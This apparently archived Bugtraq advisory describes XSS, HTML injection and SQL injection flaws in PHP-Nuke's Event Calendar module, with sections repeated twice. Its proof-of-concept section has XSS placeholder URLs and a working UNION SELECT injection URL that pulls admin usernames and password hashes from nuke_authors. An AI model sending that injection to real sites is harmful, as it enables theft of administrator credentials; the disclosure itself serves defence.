Event Calendar Multiple Remote Vulnerabilities
BID:11693
Info
Event Calendar Multiple Remote Vulnerabilities
| Bugtraq ID: | 11693 |
| Class: | Input Validation Error |
| CVE: | |
| Remote: | Yes |
| Local: | No |
| Published: | Nov 16 2004 12:00AM |
| Updated: | Nov 16 2004 12:00AM |
| Credit: | Discovery of these vulnerabilities credited to Janek Vind <[email protected]>. |
| Vulnerable: |
Event Calendar Event Calendar |
| Not Vulnerable: | |
Discussion
Event Calendar Multiple Remote Vulnerabilities
Event Calendar is prone to multiple input validation vulnerabilities. These issues include HTML injection and cross-site scripting. The following specific vulnerabilities were reported:
A cross-site scripting vulnerability is exposed through certain NukeCalendar URI parameters. This issue could be exploited via a malicious link to a site hosting the software to execute hostile HTML and script content in the browser of a victim user.
A HTML injection vulnerability is reported to affect the events comments input forms. This issue could be exploited when an unsuspecting user views a malicious event comment, this will result in attacker-supplied HTML and script content executing in the browser of the victim user.
An SQL injection vulnerability is also present through URI parameters of the affected software, which includes unsanitized user input in database queries. This may be exploited to extract sensitive information from the database.
Event Calendar is prone to multiple input validation vulnerabilities. These issues include HTML injection and cross-site scripting. The following specific vulnerabilities were reported:
A cross-site scripting vulnerability is exposed through certain NukeCalendar URI parameters. This issue could be exploited via a malicious link to a site hosting the software to execute hostile HTML and script content in the browser of a victim user.
A HTML injection vulnerability is reported to affect the events comments input forms. This issue could be exploited when an unsuspecting user views a malicious event comment, this will result in attacker-supplied HTML and script content executing in the browser of the victim user.
An SQL injection vulnerability is also present through URI parameters of the affected software, which includes unsanitized user input in database queries. This may be exploited to extract sensitive information from the database.
Exploit / POC
Event Calendar Multiple Remote Vulnerabilities
The following examples are available:
http://www.example.com/nuke73/modules.php?name=Calendar&file=submit&type=[xss code here]
http://www.example.com/nuke73/modules.php?name=Calendar&file=submit&op2=Preview&day=[xss code here]
http://www.example.com/nuke73/modules.php?name=Calendar&file=submit&op2=Preview&month=[xss code here]
http://www.example.com/nuke73/modules.php?name=Calendar&file=submit&op2=Preview&year=[xss code here]
http://www.example.com/nuke73/modules.php?name=Calendar&file=submit&op2=Preview&type=[xss code here]
http://www.example.com/nuke73/modules.php?name=Calendar&file=index&type=view&eid=-99%20UNION%20ALL%20SELECT%201,1,aid,1,pwd,1,1,1,1,1,1,1,1,1,1%20FROM%20nuke_authors%20WHERE%20radminsuper=1
The following examples are available:
http://www.example.com/nuke73/modules.php?name=Calendar&file=submit&type=[xss code here]
http://www.example.com/nuke73/modules.php?name=Calendar&file=submit&op2=Preview&day=[xss code here]
http://www.example.com/nuke73/modules.php?name=Calendar&file=submit&op2=Preview&month=[xss code here]
http://www.example.com/nuke73/modules.php?name=Calendar&file=submit&op2=Preview&year=[xss code here]
http://www.example.com/nuke73/modules.php?name=Calendar&file=submit&op2=Preview&type=[xss code here]
http://www.example.com/nuke73/modules.php?name=Calendar&file=index&type=view&eid=-99%20UNION%20ALL%20SELECT%201,1,aid,1,pwd,1,1,1,1,1,1,1,1,1,1%20FROM%20nuke_authors%20WHERE%20radminsuper=1
Solution / Fix
Event Calendar Multiple Remote Vulnerabilities
Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: [email protected] <mailto:[email protected]>.
Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: [email protected] <mailto:[email protected]>.
References
Event Calendar Multiple Remote Vulnerabilities
References:
References:
- Event Calendar - a module for PHP-Nuke (Event Calendar)
- [waraxe-2004-SA#038 - Multiple vulnerabilities in Event Calendar module for Php (Janek Vind